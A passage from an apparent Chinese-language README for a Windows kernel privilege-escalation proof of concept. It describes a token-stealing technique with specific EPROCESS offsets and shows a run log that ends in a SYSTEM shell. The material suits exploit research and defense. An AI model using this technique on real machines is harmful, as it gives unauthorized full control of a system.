SystemHandleInformation 表,以获取泄露其 EPROCESS 地址的系统句柄。ActiveProcessLinks 向前链(flink),直到找到当前进程的 PID。使用 Superfetch 方法进行虚拟到物理地址转换,而非泄露 CR3 并遍历页表。
已在 Win11 21H2 上测试
C:\Users\Public>.\Eneio64-LPE.exe
[+] 物理内存总量:~0x7fef2000 字节
[+] 物理内存映射到 000002A3A4FC0000
[+] 泄露系统 EPROCESS
[+] 打开到 SYSTEM 进程(PID 4)的句柄
> 当前 PID:3932
> 句柄值:0x5c
[+] 查询当前进程的 SystemHandleInformation 表
[+] 句柄表查询成功
> 缓冲区大小:1048576 字节
> 调整轮次:15
> 总句柄数:29211
[+] 在句柄表中搜索句柄 0x5c
[+] 在索引 29183 / 29211 处找到匹配
> PID:3932
> 句柄:0x5c
> 对象(系统 EPROCESS):0xffff858ca1885040
[+] 搜索当前进程令牌。从系统向前链(系统 EPROCESS + 0x448)遍历 ActiveProcessLinks 直到当前 PID
[+] 下一个向前链地址 - 0x448 = 下一个 EPROCESS
[+] 找到当前进程(PID 3932)令牌位于 [0x72cd25f8]
[+] 用 SYSTEM 令牌替换当前令牌
[!] ==== 当前 PID 的向前链地址 - EPROCESS ActiveProcessLinks 偏移(0x448) + EPROCESS 令牌偏移(0x4B8) = 当前令牌 ====
[+] 令牌已替换。
Microsoft Windows [版本 10.0.20348.2849]
(c) Microsoft Corporation。保留所有权利。
C:\Users\Public>whoami
nt authority\system
仅用于教育用途!